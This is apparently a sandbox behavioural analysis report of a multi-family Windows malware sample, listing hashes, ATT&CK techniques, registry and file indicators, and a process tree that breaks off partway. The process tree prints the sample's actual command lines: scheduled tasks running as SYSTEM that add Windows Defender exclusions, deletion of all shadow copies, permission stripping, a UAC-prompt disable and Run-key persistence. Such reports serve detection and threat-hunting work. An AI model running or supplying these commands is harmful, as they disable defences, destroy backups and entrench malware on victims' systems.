ad72f8eea60bc1ec35bc66df216e437ee4df9b67b50e9976d92448927d25f280

Analysis

max time kernel
141s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
27/10/2026, 14:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
Size 34.6MB
Sample261027-ry63lasv3m
SHA256 ad72f8eea60bc1ec35bc66df216e437ee4df9b67b50e9976d92448927d25f280
MD5 725acc469d73e3cfc4b2dad2723fadf4
SHA1 e60ca53a0bed03e86f6c8451b03c7544cc725c8e
SHA512 5203d84a484594c98464ffb5412570acd7ff9520ba327e0992e675eae138b9a7619a4075e74ac5118c02e0edb83aa6dcbff462658282510106031cb9f17fe395
SSDEEP 98304:W6ukQmHTpksa7ffG6slKxMzfM3nJ76KVfMYrvjgAs:tukQmH0HmKxofM3nl6UfMYrLgAs
TLSH
T199876F22B6428CD2F00285F45897BBA427FEFCB18AD1C71336E95B1E6FAE18C8D57055
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	FM8Eyy.exe

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Detects executables calling ClearMyTracksByProcess 1 IoCs

resource	yara_rule
behavioral1/memory/3608-693-0x0000000010000000-0x0000000010061000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ClearMyTracksByProcess

Detects executables containing artifacts associated with disabling Widnows Defender 7 IoCs

resource	yara_rule
behavioral1/memory/3608-674-0x00000000033F0000-0x0000000003BCD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/3608-677-0x00000000033F0000-0x0000000003BCD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/3608-685-0x00000000033F0000-0x0000000003BCD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/3608-715-0x00000000033F0000-0x0000000003BCD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4296-740-0x0000000003770000-0x0000000003F4D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4328-744-0x00000000035F0000-0x0000000003DCD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4552-764-0x0000000003520000-0x0000000003CFD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	FM8Eyy.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation	P2zGL7.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation	FM8Eyy.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 6 IoCs

pid	Process
4940	P2zGL7.exe
6064	P2zGL7.exe
3608	FM8Eyy.exe
4328	FM8Eyy.exe
4296	FM8Eyy.exe
4552	Qt8gLGJm.exe

Loads dropped DLL 6 IoCs

pid	Process
4940	P2zGL7.exe
6064	P2zGL7.exe
3608	FM8Eyy.exe
4328	FM8Eyy.exe
4296	FM8Eyy.exe
4552	Qt8gLGJm.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1188	icacls.exe
2324	icacls.exe
4844	icacls.exe
4784	icacls.exe
5176	icacls.exe
1300	icacls.exe
5280	icacls.exe
5744	icacls.exe
5596	icacls.exe
6068	icacls.exe
5232	icacls.exe
5220	icacls.exe
4044	icacls.exe
1152	icacls.exe
4792	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\lEa0SH\\P2zGL7.exe\""	P2zGL7.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\FM8Eyy\\FM8Eyy.exe\""	FM8Eyy.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
216	cmd.exe
5672	cmd.exe
4520	cmd.exe
4352	cmd.exe
2880	cmd.exe
2460	cmd.exe
5872	cmd.exe
4880	cmd.exe
4604	cmd.exe
616	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	P2zGL7.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\FM8Eyy\FM8Eyy.exe	P2zGL7.exe
File opened for modification	C:\Program Files (x86)\FM8Eyy\XPSPLOG.dll	P2zGL7.exe
File opened for modification	C:\Program Files (x86)\FM8Eyy\image.png	P2zGL7.exe
File opened for modification	C:\Program Files (x86)\ouv6791Se	FM8Eyy.exe
File created	C:\Program Files (x86)\ouv6791Se\Qt8gLGJm.exe	FM8Eyy.exe
File created	C:\Program Files (x86)\ouv6791Se\image.png	FM8Eyy.exe
File opened for modification	C:\Program Files (x86)\ouv6791Se\image.png	FM8Eyy.exe
File created	C:\Program Files (x86)\ouv6791Se\thumbs.db	FM8Eyy.exe
File opened for modification	C:\Program Files (x86)\FM8Eyy\thumbs.db	P2zGL7.exe
File opened for modification	C:\Program Files (x86)\ouv6791Se\XPSPLOG.dll	FM8Eyy.exe
File opened for modification	C:\Program Files (x86)\FM8Eyy	P2zGL7.exe
File created	C:\Program Files (x86)\FM8Eyy\FM8Eyy.exe	P2zGL7.exe
File created	C:\Program Files (x86)\FM8Eyy\XPSPLOG.dll	P2zGL7.exe
File created	C:\Program Files (x86)\FM8Eyy\image.png	P2zGL7.exe
File opened for modification	C:\Program Files (x86)\ouv6791Se\Qt8gLGJm.exe	FM8Eyy.exe
File opened for modification	C:\Program Files (x86)\ouv6791Se\thumbs.db	FM8Eyy.exe
File created	C:\Program Files (x86)\ouv6791Se\XPSPLOG.dll	FM8Eyy.exe
File created	C:\Program Files (x86)\FM8Eyy\thumbs.db	P2zGL7.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3700	sc.exe
5352	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\Desktop\ScreenSaveActive = "0"	FM8Eyy.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	FM8Eyy.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\Desktop\SCRNSAVE.EXE	FM8Eyy.exe

Executes a command shell one-liner 1 TTPs 26 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3812	cmd.exe
3056	cmd.exe
736	cmd.exe
4204	cmd.exe
388	cmd.exe
5260	cmd.exe
3488	cmd.exe
3492	cmd.exe
4960	cmd.exe
3336	cmd.exe
4340	cmd.exe
6020	cmd.exe
1708	cmd.exe
6028	cmd.exe
5572	cmd.exe
3504	cmd.exe
4440	cmd.exe
4712	cmd.exe
4708	cmd.exe
5012	cmd.exe
4184	cmd.exe
5148	cmd.exe
4280	cmd.exe
6012	cmd.exe
5368	cmd.exe
5216	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	P2zGL7.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	P2zGL7.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	FM8Eyy.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	FM8Eyy.exe

System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Qt8gLGJm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FM8Eyy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FM8Eyy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FM8Eyy.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	FM8Eyy.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	FM8Eyy.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\Desktop\SCRNSAVE.EXE	FM8Eyy.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\Desktop\ScreenSaveActive = "0"	FM8Eyy.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1808	schtasks.exe
1660	schtasks.exe
3384	schtasks.exe
5196	schtasks.exe
5224	schtasks.exe
316	schtasks.exe
2068	schtasks.exe
4256	schtasks.exe
2380	schtasks.exe
4936	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
5180	2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe
4940	P2zGL7.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 4940 wrote to memory of 2460	4940	P2zGL7.exe	98
PID 4940 wrote to memory of 5872	4940	P2zGL7.exe	102
PID 2460 wrote to memory of 1660	2460	cmd.exe	104
PID 2460 wrote to memory of 5396	2460	cmd.exe	105
PID 5872 wrote to memory of 3384	5872	cmd.exe	106
PID 2460 wrote to memory of 4644	2460	cmd.exe	110
PID 5872 wrote to memory of 1868	5872	cmd.exe	111
PID 5872 wrote to memory of 1468	5872	cmd.exe	113
PID 4940 wrote to memory of 216	4940	P2zGL7.exe	114
PID 216 wrote to memory of 2068	216	cmd.exe	117
PID 216 wrote to memory of 4772	216	cmd.exe	118
PID 4940 wrote to memory of 5672	4940	P2zGL7.exe	121
PID 216 wrote to memory of 3528	216	cmd.exe	123
PID 4940 wrote to memory of 4880	4940	P2zGL7.exe	124
PID 5672 wrote to memory of 5196	5672	cmd.exe	126
PID 4880 wrote to memory of 4256	4880	cmd.exe	127
PID 5672 wrote to memory of 748	5672	cmd.exe	128
PID 4880 wrote to memory of 6016	4880	cmd.exe	129
PID 5672 wrote to memory of 5564	5672	cmd.exe	131
PID 4880 wrote to memory of 3600	4880	cmd.exe	132
PID 3056 wrote to memory of 1872	3056	cmd.exe	134
PID 4960 wrote to memory of 3776	4960	cmd.exe	135
PID 5148 wrote to memory of 3504	5148	cmd.exe	136
PID 4940 wrote to memory of 3608	4940	P2zGL7.exe	137
PID 3608 wrote to memory of 3336	3608	FM8Eyy.exe	140
PID 3608 wrote to memory of 4340	3608	FM8Eyy.exe	142
PID 3608 wrote to memory of 736	3608	FM8Eyy.exe	144
PID 3608 wrote to memory of 4440	3608	FM8Eyy.exe	149
PID 3608 wrote to memory of 4604	3608	FM8Eyy.exe	150
PID 3608 wrote to memory of 4280	3608	FM8Eyy.exe	152
PID 4340 wrote to memory of 1188	4340	cmd.exe	156
PID 3608 wrote to memory of 6012	3608	FM8Eyy.exe	157
PID 3608 wrote to memory of 4520	3608	FM8Eyy.exe	159
PID 3608 wrote to memory of 4204	3608	FM8Eyy.exe	160

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	FM8Eyy.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-26_725acc469d73e3cfc4b2dad2723fadf4_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:5180

C:\Users\Public\lEa0SH\P2zGL7.exe
C:\Users\Public\lEa0SH\P2zGL7.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\lEa0SH\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\lEa0SH\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1660
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5396
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5872
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3384
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1868
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:216
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2068
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4772
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5672
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5196
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:748
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4880
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4256
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:6016
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3600
- C:\Program Files (x86)\FM8Eyy\FM8Eyy.exe
  "C:\Program Files (x86)\FM8Eyy\FM8Eyy.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:3608
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3336
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\FM8Eyy" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4340
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\FM8Eyy" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1188
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:736
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4440
- - C:\Windows\SysWOW64\cmd.exe
